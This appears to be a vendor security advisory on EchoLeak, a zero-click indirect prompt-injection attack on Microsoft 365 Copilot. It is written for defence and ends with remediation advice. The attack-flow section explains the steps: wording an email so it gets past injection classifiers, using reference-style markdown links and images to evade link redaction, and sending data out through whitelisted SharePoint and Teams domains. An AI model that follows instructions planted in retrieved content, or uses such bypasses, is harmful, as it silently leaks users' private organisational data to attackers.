Background of M365 Copilot
What is a Retrieval Augmented Generation (RAG)?
Retrieval Augmented Generation (RAG) is a technique that improves the responses of LLMs by connecting external data sources. The connection to relevant data sources allows responses to be more accurate and contextually relevant by reducing hallucinations and generic responses.
M365 Copilot and RAG Intergration
M365 Copilot is a RAG-based chatbot that queries the Microsoft Graph and retrieves any relevant information from the user’s organisational environment, including mailboxes, OneDrive storage, Microsoft 365 Office files, internal SharePoint sites, and Microsoft Teams chat history. Copilot’s permission model ensures that the user only has access to their own files which may include sensitive, proprietary and compliance-related information. M365 Copilot integration with Microsoft Graph potentially exposes it to threats originating from outside the organisation.
Attack Background
The attack discussed uses the number one exploit in OWASP Top 10 list known as Prompt Injection. Prompt Injection occurs when an attacker or user prompts alter the LLMs’ behaviour or output in an unintended way. These inputs can affect the model even if they are imperceptible to humans; therefore prompt injections do not need to be visible or readable to humans, if the content is parsed by the model.
Prompt injection involves manipulating model responses through specific inputs to alter its behaviour, which can include bypassing safety measures. Prompt Injection vulnerabilities exist due to how models process prompts, and how input may force the model to incorrectly pass prompt data to other parts of the model, potentially causing malicious output.
The prompt injection used in this attack can be classified as “Indirect Prompt Injection”. Indirect prompt injections occur when an LLM accepts input from external sources and the content when interpreted by the model, maliciously alters the model’s behaviour.
In addition, Aim Labs has classified the attack as “LLM Scope Violation”. The term describes the situation where an attacker’s input manipulates the LLM to access trusted data in the model’s context without user interaction.
The attack relies on Copilot’s default behaviour to combine and process content from Outlook and SharePoint thereby turning trust into a silent data leak vector.
Attack Diagram
Attack Flow Breakdown
- XPIA bypass via crafted email
Attackers are able to bypass the XPIA (cross-prompt injection attack) classifiers by phrasing the email that contained malicious instructions as if the instructions were aimed at the recipient. The attackers are careful not to mention AI/assistants/Copilot to make sure that the XPIA classifiers don’t detect the email as malicious.
- User initiates attacks
User asks Microsoft 365 Copilot a business-related or research question that triggers Copilot to access Outlook and other connected Microsoft applications for context. This action leads to Copilot ingesting the crafted email sent by the attacker.
- Scope Violation through Redaction Bypass
- Link redaction bypass
By default, Copilot redacts external markdown links from the chat history before the user has any chance of clicking those links. This solution should enforce that only safe link targets (i.e., internal webpages) are presented as clickable links to the user. But we are able to bypass this restriction by using Reference-style markdown links as they are not redacted and are not recognised by Microsoft.
Below are examples of links not removed from the chat by M365 Copilot:
- Image redaction bypass
To ensure the link is clicked without user interaction, the attacker can trick the LLM into outputting a markdown image with an embedded image. When the link is embedded, the browser automatically accesses the links allowing the attacker to exfiltrate data.
The markdown image format also includes Reference-style links that are able to bypass Copilot’s link redaction. Here the examples of links not removed from the chat by M365 Copilot:
- Data Exfiltration through SharePoint and Teams
Even while using Reference-style markdown link, the attacker is not able to use custom domain to exfiltrate data as Microsoft has Content-Security-Policy whitelisting in-place to deter such attacks. Here is the list of domains whitelisted by Microsoft:
But the attacker is able to bypass the CSP through these whitelisted domains. Among the list of domains are “*[.]sharepoint[.]com” which can be exploited to craft a malicious invite URL:
This crafted link allows the attacker to request on behalf of the client to fetch embedded data for the SPO site, but this flow requires the victim to accept the invitation from the attacker to allow data exfiltration.
To achieve a zero-click vulnerability, the attacker instead uses Microsoft Teams “*[.]teams[.]com” to craft better malicious link which does not require user interaction:
MITRE Mapping
Mapping based on MITRE ATT&CK and ATLAS.
Recommended Remediation
Implement a robust monitoring strategy across all M365 environments, including anomalous access and exfiltration data that may indicate malicious activity.
M365 environment administrators should enforce proper logging and access management for users to prevent further unauthorised access. Moreover, users should monitor user activity in their tenant to ensure activities performed are not due to AI agents or attackers.
In addition, the deployment of automated alerts and remediation workflows is essential for reducing response times and minimising the overall impact of an attack. By integrating automated detection systems with remediation protocols, organisations can ensure that security teams are alerted in real time, enabling them to take swift, targeted actions. This not only improves operational efficiency but also ensures that security breaches are mitigated with minimal delay. It is imperative that these processes be continuously reviewed and updated to address evolving threat tactics and maintain a high level of protection for M365 environments.
Implementation of an automated response and alert system can be done through InsiderSecurity’s CSX.
Conclusion
Aim Labs has discovered a critical zero-click AI vulnerability named EchoLeak that leverages Microsoft 365 Copilot, which enables attackers to exfiltrate sensitive data with zero user interaction. The exploit uses a novel technique introduced as “LLM Scope Violation”. This technique manipulates Copilot which uses retrieval-augmented generation (RAG) by sending an email with embedded prompt injection. Although no known customer impact has occurred yet, this vulnerability expands to all known LLM models that have RAG or connected to data sources. These vulnerabilities indicate a growing security threat that can be exploited by novice attackers due to a lack of proper scope control and security measures in place.
